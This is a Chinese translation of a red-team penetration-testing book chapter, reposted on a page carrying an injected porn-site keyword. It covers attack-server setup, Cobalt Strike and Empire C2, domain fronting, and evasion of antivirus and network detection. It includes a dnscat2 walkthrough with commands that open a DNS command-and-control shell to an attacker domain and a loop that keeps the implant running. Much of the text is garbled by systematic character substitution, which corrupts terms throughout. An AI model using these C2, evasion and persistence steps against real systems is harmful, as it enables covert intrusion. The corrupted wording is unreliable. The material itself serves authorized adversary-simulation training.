91porn y [译] 渗入测试实战第三版(红队版)
发布日期:2024-10-05 12:44 点击次数:150
作为红队东说念主员,咱们日常不太关注某次障碍的目的(更关注的是障碍手法)。相背,咱们想从那些高等挟制组织的 TTP(Tactics、Techniques & Procedures)中学到更多。举个例子,这是一个来自于火眼(FireEye)公司的公开的挟制谍报分析呈报。从呈报中91porn y,咱们可以看到:这个挟制组织使用推特作为 C2 劳动器,也使用了 github 作为存储加密图片和经过信息隐写文献的仓库。 咱们可以参考此呈报,根据障碍手法的特质来针对性的作念出合适的堤防有运筹帷幄,来看你的公司是否能发现并阻拦这种障碍。
让咱们对 APT 障碍作念一些基本的先容。由 MITRE 公司提议的 ATT&CK 矩阵( Adversarial Tactics, Techniques, and Common Knowledge matrix ) 是对 APT 障碍的详备解析。这个矩阵中是一个在各式障碍场景中使用的不同 TTP 的大蚁合。
商用 ATT&CK 矩阵 - Windows版 91porn y
译者注:
上头的矩阵只是包扩适用于 Windows 平台的时期。完整的商用 Enterprise ATT&CK 矩阵也包括适用于 macOS 和 Linux 平台的时期。 矩阵中的内容严格复制自原书。只是因为原书图片分辨率太低,为了读者的阅读体验,专诚从头作图。ATT&CK 矩阵于今莫得华文翻译,因为译者赐墙及肩,不敢献丑翻译,故保留英文。然则需要说明的是,书中列出的矩阵内容,跟 MITRE 公司官网给出的矩阵内容存在互异,可能是因为矩阵被从头改造了。故给出 Enterprise Matrix - Windows的官网地址 供读者参考。另一个资源是 @cyb3rops 整理的 APT组织与方法持续更新列表。这个谷歌文献列举了寰宇多个国度的疑似 APT 组织及其使用的器具集。对于红队成员来说,咱们可以参考此文档来模拟不同的障碍。天然,咱们可能不会使用与文档中列举的同样的器具,然则咱们可以构建雷同的器具来作念同样的障碍。
假设攻破老到靠近安全问题,企业的正确立场是从一开首就应该预设我方还是被攻破了。关联词事实是,如今太多的公司认为通过一些所谓的安全成立或者年度渗入测试,它们是安全的。咱们需要进入一种念念维状态,咱们老是蹲守,假设急躁就潜伏在周围,咱们需要时刻寻找非常。
这即是红队的行为与渗入测试有很大区别的地点。由于红队的行为重心是检测/给出措施而不是疏忽,是以咱们可以作念更多特别的评估。一种为客户提供巨大价值的评估利益被称为假设突破老到(assumed breach exercise)。在一个假设突破老到中,总会遭遇一些 0-day。那么,客户端能否识别和减轻第二阶段和第三阶段智商的影响呢?
在这些场景中,红队与公司里面的有限团队一说念责任,在他们的劳动器上践诺一个定制的坏心软件 payload。这个 payload 应该尝试以多种方式结合,确保绕过常见的AV,并允许额外的 payload 从内存中践诺。咱们将在整本书提供一些 payload 的实例。一朝领先的 payload 被践诺,扫数的乐趣就从这里开首了!
设定你的行动这是红队行为中我最心爱的一部分。在进犯你的第一个系统之前,你需要细目你的红队行为范围。在许多渗入测试中,你会得到一个主义,然后络续地尝试进入阿谁单一的系统。如果某件事情失败了,你就络续作念下一件事。莫得剧本,你日常相称专注这个蚁集。
在红队行为中,咱们从几个主义开首。这些主义可以包括但不限于:
最终的主义是什么?只是 APT 检测吗?是要在劳动器上获取标志吗?是从数据库中获取数据吗?或者只是为高出到检测时效(TTD)方针? 是否有咱们想要复制的公开行为? 你会用什么技巧?咱们谋划过用 MITRE ATT&CK 矩阵,然则在每个类别中确切的时期是什么? 红金丝雀研究小组提供了每一种时期的详备信息。我激烈建议你花点时辰来观望这些详备信息。 客户但愿你使用什么器具?是一些诸如 Metasploit、Cobalt Strike、DNS Cat 这样的贸易障碍器具软件?照旧公正的定制化器具?一个好音书是被收拢亦然评估的一部分。有一些入侵中咱们会被抓4到5次,然后在4到5个不同的环境中被消释。这确乎向你的客户表明,他们的堤防如他们预期的一样在起作用(或莫得起作用)。在书的临了,我将提供一些报文牍例,说明咱们如何获取方针并呈报这些数据。
接济你的外部劳动器咱们使用许多不同的劳动来建立咱们的红队行为。在咫尺这个充斥着 VPS的寰宇里,在互联网上阻止障碍者的机器不会超出你的预算。举例,我日常使用 Digital Ocean 公司的 Droplets 策动劳动或 AWS 的 Lightsail 劳动器来成立我的 VPS 劳动器。我使用这些劳动的原因是它们日常资本很低(有时是免费的),可以采纳 Ubuntu 系统的劳动器,况兼可以根据需要采纳购买不同区域的劳动器。最浩瀚的是,它们相称容易接济。在几分钟内,你就可以接济并运行多个劳动器的 Metasploit 和 Empire 劳动。
在本书中,我将重心先容 AWS 的 Lightsail 劳动器,因为它易于接济、能够自动化劳动,以及日常流向 AWS 的流量。在你成功创建了一个你心爱的镜像后,你可以快速地将该镜像克隆到多个劳动器,这使得构建现成的 C2(Command and Control) box 相称容易。
同样,你应该确保效能 VPS 提供者的劳动要求,这样你就不会堕入任何问题。
底下是操作要点:
https://lightsail.aws.amazon.com/ 创建一个实例 我激烈建议至少使用1gb内存 硬盘大小一般不会有什么问题,可以纵容采纳 Linux/Unix 操作系统只选 -> Ubuntu 下载 Cert(证书) chmod 600 cert(译者注:唯独领有者有读写权限) ssh -i cert ubuntu@[ip]搭建劳动器的一个快速方法是集成 TrustedSec 公司的渗入测试框架 (PTF)。PTF 框架是一些剧本的书册,可以为你作念大批的勤奋责任并为其他扫数内容创建了一个框架。让咱们通过一个快速示例来装配咱们扫数的疏忽应用模块,信息采集模块,后渗入应用模块,PowerShell 障碍模块和疏忽分析器具:
sudo su - apt-get update apt-get install python git clone https://github.com/trustedsec/ptf /opt/ptf cd /opt/ptf && ./ptf use modules/exploitation/install_update_all use modules/intelligence-gathering/install_update_all use modules/post-exploitation/install_update_all use modules/powershell/install_update_all use modules/vulnerability-analysis/install_update_all cd /pentest下图骄贵了扫数的可用模块,其中一些模块是咱们我方装配的。 图: 扫数可用模块的列表
如果咱们观望咱们的障碍者 VPS,就可以看到装配在咱们的机器上的扫数器具。如果咱们想要启动 Metasploit,咱们可以输入:msfconsole。图: 装配在 /pentest 文献夹下的扫数器具
我仍然建议建立坚强的 IPTables 规则。因为这将是你的障碍劳动器,是以最好收敛 SSH 身份验证可以从何处发起, Empire/Meterpreter/Cobalt Strike的 payload 可以从何处发起,以及你所救助的任何垂纶页面。
如果你还牢记在2016年末,有东说念主发现了未经身份验证的长途代码践诺(RCE) ( https://blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-active-exploitation-reported/ )。你肯定不但愿客户数据受到障碍劳动器的毁伤。
我也曾看到一些红队在 AWS 中,使用 Docker 运行 Kali Linux (或者至少是 Metasploit) (参考: )。在我看来,天然创建你我方的系统如何样齐可以。然则更好的采纳是创建一个高效且可重迭的进程来部署多台机器。使用 Lightsail 的 最大公正是一朝你将你的机器成立为你的首选项,你就可以对一台机器进行快照,并部署使用该镜像的多个全新实例。
如果你想让你的环境更进一竿,望望 Coalfire 研究所的团队。他们构建了自界说模块来为你完成扫数的勤奋责任和自动化。Red Baron 是 Terraform 的一组模块和自界说/第三方提供者,它可以为红队自动创建弹性、一次性、安全和无邪的基础设施。非论你想要构建一个垂纶劳动器,Cobalt Strike 基础设施,或创建 DNS C2 劳动器,你齐可以用 Terraform 作念到这一切。
观望 https://github.com/Coalfire-Research/Red-Baron 并观望扫数不同的模块以便快速构建你我方的基础架构。
红队的中枢器具红队可能会使用许多器具,然则让咱们来谋划些最中枢的器具。请记着,作为一个红队成员,咱们的目的不是破碎环境(天然这是最兴趣的),而是要复制现实寰宇的障碍,以观望客户是否受到保护,并可以在很短的时辰内检测到障碍。在前边的章节中,咱们了解了如何从其他 APT 组织那里复制障碍者的纲领文献和器具集,是以让咱们回顾一下一些最常见的红队器具。
Metasploit 框架本书不会像前几本书那样深入探讨 Metasploit。尽管 Metasploit 框架领先是从 2003 年开发的,但它现在仍然是一个相称棒的器具。这是由于领先的开发者 H.D. Moore 和相称活跃的社区为它提供持续救助。这个社区驱动的框架,似乎每天更新,领有扫数最新的公开疏忽的应用、后渗入应用模块、辅助模块等等。
对于红队样子,咱们可能使用 Metasploit 通过MS17-010不灭之蓝疏忽危害里面系统,以得回咱们的第一个内网 shell,或者咱们可能使用 Metasploit 为咱们的社会工程障碍生成一个 Meterpreter payload。
在后头的章节中,我将向你展示如何从头编译你的 Metasploit payload 并绕过杀毒软件和蚁集监控。
污染 Meterpreter 的 Payload如果咱们正在针对主义进行一些社工尝试,咱们可能会使用 Word 或 Excel 文档作为咱们的 payload(障碍载荷)的载体。 然则,一个潜在的问题是咱们可能无法包含 Meterpreter 的 payload 的二进制文献或让主义机器从 Web 下载咱们的 payload,因为这些操作可能会触发主义机器中的杀毒软件的警报。 是以,这里给出一个毛糙的惩办有运筹帷幄,使用 PowerShell 进行模糊处理:
咱们以至可以将污染耕作到新的水平,并使用 Unicorn 等器具生成更多模糊的基于 PowerShell 的 Meterpreter payload,咱们将在本书中详备先容这些污染器。
此外,使用受信任的机构签发的 SSL/TLS 证书可以匡助咱们绕过某些蚁集中的 IDS(入侵检测系统),具体可以参考以下连气儿斥逐:Meterpreter Paranoid Mode。
临了,在本书的后头部分,咱们将谋划如何从头编译应用 Metasploit/Meterpreter 来绕过基于主机和蚁集的检测器具。
Cobalt StrikeCobalt Strike 是迄今为止我最心爱的红队模拟器具之一。什么是 Cobalt Strike 呢?它是一种用来后期耐久渗入,横向移动,流量荫藏、数据窃取的器具。 Cobalt Strike 并莫得径直的疏忽应用,也莫得通过最新的 0-Day 疏忽来破碎系统。当你还是在劳动器上践诺了 CS 的坏心代码或者将 CS 用作蚁集垂纶行为的一部分时,你就能感受到 CS 的功能是何等平庸况兼坚强。 一朝你可以在机器上践诺 Cobalt Strike 的 payload,它创建一个 Beacon(远控木马功能)结合回连到 C2 劳动器(teamserver)。
新的 Cobalt Strike 许可证的用度为3500好意思元(单用户一年),是以它并不是一个低廉器具。 不外该软件有免费的限量试用版。
Cobalt Strike 基础设施正如上文所述,在基础设施方面,咱们但愿接济这样一个可重用且高度无邪的环境。Cobalt Strike 支隆重定向,当你的 Cobalt Strike 使用的 C2 域名被葬送了,你不需要创建并启用一个新的环境,只需要替换一个新的 C2 域名。你可以在这里找到更多的使用 socat 成立这些重定向器的信息:连气儿1 & 连气儿2
为了使你更好的重定向,咱们可以使用域名前置(域名幌子)。域名前置是使用其他的域名和基础设施的时期作为收敛器重定向的时期蚁合(参考连气儿)。这可以通过使用流行的内容分发蚁集(CDNs)来斥逐,如亚马逊云的 CloudFront 或其他的 Google Hosts 来隐敝咱们的流量源。这在昔时曾被不同的障碍者所应用过(参考连气儿)。
通过使用这些高信誉域名,非论 HTTP 或 HTTPS 的任何流量,看起来齐像是它正在与这些域通讯,而不是与咱们的坏心 C2 劳动器通讯。这一切是如何运作的?用一个比较抽象的例子来说,你的扫数流量将被发送到 CloudFront 的一个主要完全收敛域名(FQDNs),举例 a0.awsstatic.com,它是 CloudFront 的主要域名。修改苦求中的主机 header 将把扫数流量重定向到咱们的 CloudFront 分发(CloudFront distribution),后者最终会将流量转发到咱们的 Cobalt Strike C2劳动器上(参考连气儿)。
通过调动 HTTP 主机的 header,CDN 将很减弱的的的地把流量传输回到正确的劳动器。红队一直使用这种时期通过使用高信誉域名来荫藏 C2 劳动器的流量。
另外两个救助域名前置的两个不同公司的优秀资源:
CyberArk 还写了一篇很好的博客著述,在著述里他先容了如何使用谷歌的应用家具来使你的流量看起来是流经了 www.google.com, mail.google.com 或者 docs.google.com. Vincent Yiu 写了一篇对于如何使用阿里巴巴 CDN 来救助我方的域名前置障碍的著述。 Cobalt Strike 不是唯一可以救助域名前置的器具,也可以通过 Meterpreter 来完成(参考连气儿)。注:在本书出书时,AWS(以至谷歌云)还是启动斥逐对域名前置的保护( https://amzn.to/2I6lSry )。这并不成阻难这种类型的障碍,只是需要不同的第三方资源来进行应用。
尽管不是基础架构的一部分,然则咱们照旧应该要清醒 beacon 是如安在里面环境中责任的。在操作安全方面,咱们应该幸免建立会被纵容发现并根除的耐久结合。作为又名红队成员,咱们必须假设咱们的一些客户端是会被蓝队发现的。如果咱们让扫数的主机齐与一个或两个 C2 劳动器通讯,蓝队很容易就可以把通盘基础设施连根撤销。红运的是,Cobalt Strike 救助内网主机之间使用基于 SMB 的 Beacon 来进行交互。这允许你让一台受感染的策动机与你的 C2 劳动器进行正常且合适的 beacon 结合,并使里面蚁集上的扫数其他的劳动器通过 SMB 条约与领先受感染的主机进行通讯。领受这种结合方式,当蓝队检测到一个二级系统有问题并进行取证分析,他们可能会无法识别与这次障碍关系的 C2 劳动器域名。
Cobalt Strike 可以主宰你的 Beacon 通讯,这对红队成员来说是一个相称有用的秉性。使用自界说 C2 成立文献,你可以让扫数来自受感染主机系统的流量看起来和普通流量无异。现在咱们会发现越来越多的内网环境中会针对第7层蚁集应用层进行过滤。许多时候蓝队在这层中找寻那些蚁集通讯中的非常流量,那么咱们怎样才能让咱们的C2通讯变得如同正常的 Web 流量呢?这即是可定制 C2 成立文献阐述作用的地点。望望这个例子。阅读这个例子,你会看到一些不言而谕的信息:
咱们可以看出这将会产生带有URI旅途的HTTP苦求:set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;主机 header 接济为 Amazon:
header “Host” “www.amazon.com”;以至一些自界说劳动器的 header 也从 C2 劳动器发还:
header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”; header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2t
现在许多红队还是在许多不同的行为中使用了这些成立文献,许多安全厂商还是给扫数常见的自界说成立文献创建了指纹签名。为了惩办这个问题,咱们能作念的是: 确保修改了成立文献中的扫数静态字符串,确保调动了扫数 User-Agent 信息,使用真实的证书成立 SSL(不要使用 Cobalt Strike 默许的 SSL 证书),调养抖动率,并调动客户端的的 beacon 时辰。 临了一个扎眼事项是确保通过 POST(http-post)呐喊进行通讯,因为如果不这样作念可能会导致使用自界说成立文献时出现许多问题。 如果你的成立文献注明了通过 http-get 进行通讯,它仍然有用,但上传大文献将一直被收敛。 请记着,GET 苦求日常收敛在2048个字符以内。
SpectorOps 安全团队还创建了可定制污染 C2 成立文献的样子.
译者注: 这个剧本可以将 Cobalt Strike 的成立文献进行污染来绕过一些基于签名检测的软件,其旨趣是将变量替换为提供的字典中的随机字符串,然后输出新的 Malleable C2 成立文献。
Cobalt Strike 的 Aggressor 剧本Cobalt Strike 样子有许多孝敬者。Aggressor 剧本是一种面向红队操作和敌手模拟的剧本语言,其灵感来源于可剧本化的 IRC 客户端和机器东说念主。开发它的目的有两个:
你可以创建永劫辰运行的机器东说念主来模拟臆造红队成员,并与你并肩进行黑客障碍 你还可以根据你的需要使用它来推广和修改 Cobalt Strike 客户端的功能 官方先容页面:https://www.cobaltstrike.com/aggressor-script/index.html例子:HarleyQu1nn 将不同的 Aggressor 剧本放在一个样子中提供给你用于后续疏忽应用:
PowerShell EmpireEmpire 是一个后期疏忽应用的框架,包含一个纯 PowerShell2.0 的 Windows 代理和一个纯 Python 2.6/2.7 的 Linux/OS X 代理。它是以前的 PowerShell Empire 和 Python EmPyre 样子的合并。 该框架提供了加密安全通讯和无邪的架构。在 PowerShell 方面,Empire 斥逐了无需 powershell.exe 就可运行 PowerShell 代理的功能。况兼 Empire 有许多可以快速部署的后期疏忽应用模块,从键盘纪录器到 Mimikatz。Empire 还可以调养通讯,逃避蚁集检测。扫数的这些功能齐封装在一个以实用性为重心的 框架中。
对于红队东说念主员来说,PowerShell 是咱们最好的一又友之一。在驱动化有用 payload 之后,扫数随后的障碍齐保存在内存中。Empire 最好的地点即是它被开发者积极地重视和更新中,以便你可以使用最新的后期疏忽应用模块进行障碍。 它们还具有适用于 Linux 和 OS X 的 C2 结合。因此,你仍然可以创建基于 MAC 的 Office 宏,当践诺之后,在 Empire 中领有一个全新的代理。
咱们将通过本书更详备地先容 Empire,以便你了解它的威力如何。在接济 Empire 方面,确保你已安全地成立它相称浩瀚:
将证书旅途 CertPath 接济为一个真实确凿的 SSL 证书。 调动 DefaultProfile 端点。许多第7层防火墙齐在寻找确切的静态端点。 调动用于通讯的用户代理。在前两版书中咱们提过,Metasploit 的源文献用于自动化,Empire 现在也救助自动运行的剧本,这样可以提高效率。
运行 Empire:
驱动化 Empirecd /opt/Empire && ./setup/reset.sh退出
exit装配证书(最好是使用真实受信任的证书)
./setup/cert.sh开首运行 Empire
./empire创建一个监听器
listeners采纳你的监听器类型(咱们实验使用的是 HTTP)
uselistener [按两次 tab 键来查阅扫数类型的监听器] uselistener http观望监听器的全部成立信息
info接济以下内容(即接济KillDate 12/12/2020)
KillDate - 轨则一个斥逐时辰然后自动计帐代理 DefaultProfile - 确保调动扫数端点(即/admin/get.php,/news.php)。你可以根据需要制作它们,举例/seriously/notmalware.php DefaultProfile - 确保也调动你的用户代理。 我一般是观望使用过的顶级用户代理并采纳从中采纳一个。 Host - 调动为通过端口443的 HTTPS CertPath - 添加 SSL 证书的旅途 UserAgent - 将其调动为你的常用用户代理 Port - 接济为443 ServerVersion - 将其调动为另一个常见的劳动器 Header当你完成扫数这些,开启你的监听器
execute成立 Payload
payload 是将在受害者系统上运行的执行坏心软件。 这些 payload 可以在 Windows,Linux 和 OSX 中运行,但 Empire 以其基于 PowerShell Windows 的 Payload 而闻明:
进入主菜单main为 OSX,Windows,Linux 创建可用的 stager。 咱们将创建一个毛糙的 bat 文献作为示例,但执行上你可以为 Office 文献创建宏或者为一个 USB 橡皮鸭创建 payload(译者注: USB 橡皮鸭/USB RUBBER DUCKY 是最早的按键注入器具)
usestager [按两次tab键来查阅扫数不同的类型] usestager windows/launcher_bat观望扫数接济
info成立扫数 Settings
http 把 Listener 接济为 http 成立 UserAgent(用户代理)创建 Payload
generate在另一个终局窗口中观望你的 payload
cat /tmp/launcher.bat
如你所见,创建的 payload 被严重污染。 你现在可以把这个 .bat 文献丢到任何 Windows 系统上。 天然,你可能会创建一个 Office 宏文献或一个USB橡皮鸭(注:USB RUBBER DUCKY/USB 橡皮鸭是最早的按键注入器具)的 payload,但这只是宽阔示例中的一个。
如果你尚未在 Kali 图形界面上装配 PowerShell,那么最好的方法是手动装配它。 在 Kali 上装配 PowerShell:
dnscat2内网出口一般对出站流量作念了严格收敛,然则日常不会收敛 DNS 苦求,也即是 UDP 53 苦求。dnscat2 即是一款应用 DNS 条约创建加密 C2 纯正来收敛劳动器的器具,是以说这种纯正险些在每个蚁集中齐可以使用。dnscat2 由客户端和劳动端两部分构成。
基于 DNS 的 C2 劳动器结合的渗入有运筹帷幄提供了一种很好的机制来荫藏你的流量,遁藏蚁集传感器并绕过蚁集收敛。在许多收敛性环境或坐蓐环境中,咱们遭遇的蚁集要么径直不允许出站流量,要么流量也会被严格的收敛或监控。为了绕过这些保护,咱们可以使用像 dnscat2 这样的器具。咱们关注 dnscat2 的原因是因为它不需要 root权限就允许shell造访和数据传输。
在许多安全环境中,径直使用 UDP 或 TCP 出站会受到收敛。 为什么不应用基础架构中还是内置的劳动呢?许多受保护的蚁集包含一个 DNS 劳动器来解析里面主机,同期还允许解析外部资源。通过为咱们领有的坏心域名接济一个巨擘劳动器,咱们可以应用这些 DNS 解析来对咱们的坏心软件进行呐喊践诺和收敛。
在咱们的场景中,咱们将接济名为 “loca1host.com” 的障碍者域。 咱们但愿通过对 “localhost” 创建“分身”来更多地荫藏咱们的流量。请你自行将 “loca1host.com” 替换为你领有的域名。咱们将成立 loca1host.com 的 DNS 信息,使其成为一个巨擘 DNS 劳动器(Authoritative DNS server)。 在这个例子中,咱们将使用 GoDaddy 的 DNS 成立器具,但你也可以换成任何其他的 DNS 劳动。
使用GoDaddy接济一个巨擘DNS劳动器 最先,确保将一台 VPS 劳动器接济为你的 C2 障碍劳动器并获取了该劳动器的 IP。 在 GoDaddy 网站购买域名后,登录你的 GoDaddy(或其他雷同的)帐户。 采纳你的域,单击“管制”,然后采纳“高等 DNS”。 先接济两条 A 纪录指向你的 VPS 的 IPns1 (然后输入你的VPS的IP) ns2 (然后输入你的VPS的IP)然后接济自界说 NS 纪录
添加 ns1.loca1host.com 添加 ns2.loca1host.com
如上图所示,咱们现在让咱们的 NS 纪录指向 ns1.loca1host.com 和 ns2.loca1host.com,它们齐指向咱们的障碍 VPS 劳动器的 IP。 如果你尝试解析 loca1host.com 的任何子域(即 vpn.loca1host.com),它将尝试使用咱们的 VPS 进行关系的域名解析。对咱们来说红运的是,dnscat2 在 UDP 端口53上监听并为咱们作念了扫数贫窭的责任。
接下来,咱们将需要完全接济充任咱们的自界说域名解析劳动器的障碍劳动器。驱动化并接济 dnscat2 劳动器:
对于客户端的代码,咱们需要将其编译为 Linux 救助践诺的二进制文献。
编译客户端git clone https://github.com/iagox86/dnscat2.git /opt/dnscat2/client cd /opt/dnscat2/client/ make 咱们现在应该创建一个 dnscat 二进制文献! (如果你在 windows 环境下编译,需要将 client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” )
现在咱们还是成立好了巨擘 DNS,咱们的障碍劳动器作为一个 DNS 劳动器正在运行 dnscat2,况兼咱们还是编译了坏心软件。咱们还是准备好在主义机器中践诺咱们的 payload。
在开首之前,咱们需要在障碍劳动器上启动 dnscat2。要启用多个成立,其中的主要成立是成立阿谁 -secret 标志来确保咱们在 DNS 苦求中的通讯是加密的。另外,一定要更换我上头用于演示的 loca1host.com 域名,使用你我方领有的域名并创建随秘籍钥字符串。
在你的障碍劳动器中启用 dnscat2:
screen ruby ./dnscat2.rb loca1host.com —secret 39dfj3hdsfajh37e8c902j
假设你在易受障碍的劳动器上有某种 RCE(长途呐喊践诺疏忽)。 你可以运行 shell 呐喊并上传咱们的 dnscat payload。践诺 payload:
./dnscat loca1host.com —secret 39dfj3hdsfajh37e8c902j
这将在主义机器中启动 dnscat,域名查询使用了咱们自界说的的巨擘劳动器,从而创建咱们的 C2 通说念。 我属意到一件事是有时 dnscat2 程度会烦躁其妙挂掉。这可能来娇傲型文献传输或者只是步调崩了。为了遁藏这些类型的问题,我想证据我的 dnscat payload 有复返。为此,我日常心爱使用快速 bash 剧本启动我的 dnscat payload:
nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com -secret 9dfj3hdsfajh37e8c902j -max-retransmits 5; sleep 3600; done” > /dev/null 2>&1 &
这将确保如果客户端 payload 程度因任何原因而挂掉了,它将每小时生成一个新的实例。有时你唯惟一次契机来运行你的 payload,那么你需要衰弱调我方计数! 临了,如果你要在 Windows 上跑这个 payload,你可以编译使用 dnscat2 payload......或者,为什么不在 PowerShell 中践诺此操作呢?! Luke Baggett 写了一个对于 dnscat 客户端的 PowerShell 版块->点此观望。
dnscat2的结合在咱们的 payload 践诺并结合回咱们的障碍劳动器之后,咱们应该看到雷同于底下的一个新的ENCRYPTED AND VERIFIED音书。通过输入 “window”,dnscat2 将骄贵扫数会话。现在,咱们有一个名为“1”的单行呐喊会话。
咱们可以通过与咱们的呐喊会话交互来生成终局形式 shell:
与咱们的第一个呐喊会话进行交互window -i 1启动shell会话
shell回到主会话
Ctrl-z与 2 会话进行交互
window -i 2现在,你应该能够运行扫数 shell 呐喊(举例 ls)
天然这不是最快的shell,但由于扫数通讯齐是通过 DNS 进行的,因此它确乎可以在一些 Meterpreter 或雷同 shell 无法正常责任的情境下见效。 dnscat2 更好的地点是它完全救助搭建纯正。这样,如果咱们想要使用来自咱们的主机系统的疏忽应用模块,咱们可以通过纯正和浏览器来造访其里面网站,以至是 SSH 结合到另外的机器中,这一切齐是可能的。
dnscat2 纯正咱们有许多时候想要将来自障碍劳动器的流量通过咱们的受感染主机传递到其他里面劳动器。使用 dnscat2 践诺此操作的最安全方法是通过腹地端口转发咱们的流量,然后将流量通过纯正传输到里面蚁集上的其他机器上。咱们可以通过呐喊会话中的以下呐喊来完成此示例:
listen 127.0.0.1:9999 10.100.100.1:22
创建纯正后,咱们可以复返障碍策动机上的根终局窗口,通过腹地的 9999 端口使用 SSH 结合到 localhost,然后成功结合到受害者蚁集上的里面系统并进行身份验证。
译者注:这里如果看不懂,可以望望这篇著述加深清醒 -> 使用SSH反向纯正进行内网穿透
这将提供各式万般的乐趣和一个很好的测试,来看你的客户的蚁集是否可以主动检测大批 DNS 查询和溢出。那么,请乞降响应是什么样子的呢? 使用 Wireshark 快速抓包发现:dnscat2 为许多不同的宗子域创建了大批不同的 DNS 苦求。
现在,你可能想要测试许多其他的条约。举例,Nishang 有一个基于 PowerShell 的 ICMP Shell( ),它使用 https://github.com/inquisb/icmpsh 作为 C2 劳动器。 还有其他 ICMP shell,如:
https://github.com/jamesbarlow/icmptunnel https://github.com/DhavalKapil/icmptunnel p0wnedShell正如 p0wnedShell 的 Github 页面所述,这个器具是“用 C# 编写的进犯型 PowerShell 主机应用步调,它不依赖于 powershell.exe,而是在 powershell 运行空间环境(.NET)中运行 powershell 呐喊和函数。它包含了大批的 PowerShell 障碍模块和二进制文献,使后期应用过程变得愈加容易。咱们尝试的是建立一个‘一体化’的后渗入应用器具,咱们可以使用它来绕过扫数保护措施(至少是其中一些),p0wnedShell 中包含了扫数的关系器具。你可以应用 p0wnedShell 来在行为目次环境中践诺现代化的障碍,并在你的蓝队中创建意志,以匡助他们构建正确的堤防策略。”
Pupy ShellPupy 是“一个开源,跨平台(Windows,Linux,OSX,Android)的长途管制和后渗入应用器具,主要用python编写”。
Pupy 的一个相称棒的功能是,你可以在扫数代理上运行 Python,而无需在扫数主机上执行装配 Python。 因此,如果你尝试在自界说框架中编写大批障碍剧本,Pupy即是一个很合适的器具。
PoshC2PoshC2 是一个代理感知型 C2 框架,完全用 PowerShell 编写,以匡助渗入测试东说念主员进行红队合作,后渗入应用和横向移动。这些器具和模块是基于咱们成功的 PowerShell 会话和 Metasploit 框架的 payload 类型的汇总。PowerShell 被选为基本语言,因为它提供了所需的扫数功能和丰富的拓展秉性,而无需向框架引入多种语言。
MerlinMerlin 应用最近开发的名为 HTTP/2 (RFC7540) 的条约。 “HTTP/2 的通讯是多路复用的双向结合,在一个请乞降响应之后不会斥逐。 此外,HTTP/2 是一种二进制条约,因此它紧凑、易于解析,况兼如果不借助解释器的话东说念主是险些读不懂的”(Russel Van Tuyl 2017)。
注:此句话出处为:Russel Van Tuyl, "Merlin - 跨平台后持续应用 HTTP/2 C2 器具", Medium[Online], 发表于2017年12月19日, 可获取地址:https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a 检索于 2019 年 2 月 27 日
Merlin 是一个用 GO 编写的器具,外不雅和嗅觉雷同于 PowerShell Empire,况兼允许使用轻量级代理。它不救助任何类型的后渗入应用模块,因此你必须我方完成模块的开发。
NishangNishang 是一个剧本和 payload 的框架和蚁合,可以使用 PowerShell 进行进犯型安全测试,渗入测试和红队测试。 Nishang 在渗入测试的扫数阶段齐很有用。
天然 Nishang 执行上是一系列令东说念主齰舌的 PowerShell 剧本的蚁合,但也包含一些轻量级的 C2 剧本。
本章总结现在你终于准备开战。你并非像刚开首那样手无寸铁了,你有这些器具和成立过的劳动器。好的准备将匡助你绕过包括蚁集检测器具、蚁集条约被阻拦、基于主机的安全器具在内的任何难得。
对于本书中的实验,我创建了基于 Kali Linux 的添加了扫数器具的完整版臆造机 -> 点此获取 。在 The Hacking Playbook 的归档中,有一个名为 List_of_Tools.txt 的文本文献,里面列出了扫数添加的器具。臆造机的默许用户名/密码是 root/toor。
第2章 发球前——红队窥探在 The Hacking Playbook 2 中,前边的发球部分重心先容了一些不同的器具,如 Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP Screenshot、疏忽扫描器(包括 nessus,openvas)、Burp 套件等。这些器具咱们可以在外网或内蚁集使用,对主义的基础设施进行窥探或扫描。在本书中咱们将延续这一作念法,然后从红队的角度对窥探阶段进行拓展。
环境探伤对于红队来说,这往往是进犯的好时机。你不仅需要随时准备好去障碍基础设施,还需要络续地寻找它的疏忽。咱们可以通过使用不同的器具来进行环境扫描、劳动探伤、检索云策动成立诞妄。这些行为有助于你采集关系主义基础设施的更多信息,并找到障碍的最好方法。
扫描结果互异化分析对于扫数客户机,咱们要作念的第一件事即是接济不同的监视剧本。这些日常只是一些能快速完成的 bash 剧本,它们每天通过电子邮件向咱们发送客户机蚁集的互异。天然,在扫描之前,确保你有适当正当的授权来践诺扫描。
对于一般不太大的客户机蚁集,咱们接济毛糙的 cronjob 来践诺外部端口互异化分析。举例,咱们可以创建一个快速的 Linux bash 剧原本完成这项重荷的责任(请记着替换底下剧本中的 IP 范围):
#!/bin/bash mkdir /opt/nmap_diff d=$(date +%Y-%m-%d) y=$(date -d yesterday +%Y-%m-%d) /usr/bin/nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 10.100.100.0/24 >/dev/null 2>&1 if [ -e /opt/nmap_diff/scan_$y.xml ]; then /usr/bin/ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml >/opt/nmap_diff/diff.txt fi译者注:上头这段剧本中使用了正则抒发式。是以本末节的英文名字叫 Regular Nmap Diffing。
这是一个相称毛糙的剧本,它每天用默许的端口运行 nmap,然后使用 ndiff 比较结果。然后,咱们可以获取这个剧本的输出结果,并让它把每天发现的新端口实时文牍咱们的团队。
在上一册书中,咱们难得谋划了 Masscan 的公正,以及它比 nmap 的速率快几许。Masscan 的开发者说,如果你的蚁集带宽鼓胀大,你可以在6分钟内扫描罢了通盘互联网。是以说,当扫描大的范围时,Masscan 是很可靠的。Masscan 对咱们领先的窥探很有用,但日常无用于比较互异。
实验:本书中的实验是选修的。在某些部分中,我添加了一些实验浅显你进行测试或者推广更多的领域。这齐是基于读者的个东说念主意思的,如果对某方面感意思,我激烈保举你花时辰改进咱们的器具,并与社差异享它。建立一个更好的蚁集 diff 扫描器:
